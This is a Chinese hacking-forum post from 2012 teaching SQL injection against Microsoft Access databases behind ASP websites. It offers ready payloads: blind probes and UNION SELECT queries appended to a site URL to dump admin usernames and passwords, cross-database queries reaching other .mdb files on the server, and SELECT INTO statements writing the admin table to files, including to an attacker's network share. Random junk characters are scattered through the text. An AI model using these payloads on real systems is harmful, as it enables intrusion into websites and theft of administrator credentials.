找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1947|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
--------------------------------------------------------------! a% {. K8 b  F2 A8 t# [
union查询法
# L9 J0 k+ I, b1 z4 t( `首先要说的就是查询办法,一般的查询办法就是9 q, f# H0 d4 [, [) D9 t/ u8 ?: D
: V& C4 u# j/ d$ g8 Y
程序代码
" Z3 b1 l. }5 }/ Wand 1=(select count(*) from admin where left(id,1)='1')
5 s1 ?$ a; [# F3 ^' U) `. ?/ B+ @1 g) c% w! M) E' o4 s  x7 Q" d
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.3 D0 f# R2 t$ p# U4 _
所以这个时候,union select横空出现.别以为只能在PHP里用哦...8 |2 w& O# C7 b5 b2 g- |% k6 Z$ C
譬如你有一个ACCESS点:
1 }. P% m; V, X1 g7 e程序代码) Y, ~* E- v. S% n/ p0 X% Y
http://bbs.tian6.com/xiaoyang.asp?coder=1
1 y% R- u, E# p+ \$ y7 f* y2 n
3 _' ^0 ]2 @+ X$ K  \& O- T知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
5 E; E) ?6 y8 U6 a然后我们直接来:
! z  r0 \" V. S. W5 \$ U1 j2 h  _程序代码' `' p% ^& G2 Z2 N- c& l
http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]& H% t+ e) v: l

$ s" y! \8 q. ]; `6 I  b这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.
: D( p% Z0 g) k3 y, s+ d( S/ }  q8 A2 X# M( a0 U2 l

! J8 g3 q! ^5 A. P
! @+ U% f" `) h2 `2 S; E) W( ?---------------------------------------------------------------" m9 [$ @9 K+ O9 o- w: t0 m
Access跨库查询. i' a& o$ k# p7 ^
有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.% m4 q5 T& g+ k1 z1 ~
跨库的查询语句:) G% h/ B# M  ?( |" D- P6 ~
子查询:  j% {3 p+ Y, N  ^( y1 p
程序代码
: X* _! ?0 Z, k# o& t9 X7 ?# {/ H# Uand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0
( d/ U6 W: M1 @) z, z% F& j
' m- _6 J& s6 c* ]2 ~union查询:
0 H7 L5 `4 H8 I. H6 |0 p) L' v) C程序代码
. u1 u* J* l2 X% O4 @3 x( Kunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1
1 i& |, ]# L7 z% s. D4 A! O
; B+ Y7 n2 @$ W9 U. S* Z3 M6 {, y跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
9 I/ [4 T" C, U程序代码
. t5 E9 a; y2 v& @$ [http://www.4ngel.net/article/46.htm ! x2 k7 g/ m! s3 c( L4 ]2 W
http://hf110.com/Article/hack/rqsl/200502/66.html
! l) n9 K3 b* U4 _2 i6 L' L0 V
; M; e6 l) Y) e6 A---------------------------------------------------------------1 m/ X  N) Z( P
Access注入,导出txt,htm,html0 x. P1 _. V1 X! P$ d
子查询语句:
2 v8 {. u; Q  d( L2 c# J4 }* ^9 v: d8 T程序代码
% T% G  E& O. I: z1 k3 x- @# _$ i' WSelect * into [test.txt] in 'd:\web\' 'text;' from admin
' p; @- x# k. N3 p" F, K
# g) `+ b" b* X  b这样就把admin表的内容以test类型存进了d:\web里面.- \: F7 g" }* b4 @
UNION查询:
/ r: {- n: {# Q; V程序代码
7 `# z. B6 o& B' wunion select * into [admin.txt] in 'c:\' 'test;' from admin" N* V8 J& Y# \4 b3 Y  ^
/ z) ?0 I/ ]( Q1 K
而且这里也可以保存到本地来:+ L/ U+ \4 a1 t8 G
程序代码
! v% o6 a( D) fSelect * into [test.txt] in '\\yourip\share' 'text;' from admin, j; u0 P- h2 p3 @
  U8 P  o" p8 R9 _0 ~5 a' v$ O2 X
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:
0 o5 o8 B9 T" |5 X5 E7 \9 K& N4 r" i  b7 ]5 a- f+ k* ]6 y
程序代码
* i3 b7 `3 f4 Hhttp://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D7
& K! U! k: [% P. u' O( b
% @; f' f' b  `" {. p+ C' n6 C8 w$ g+ p因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.
3 M9 K5 O3 q! x* h0 ~$ D5 L3 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表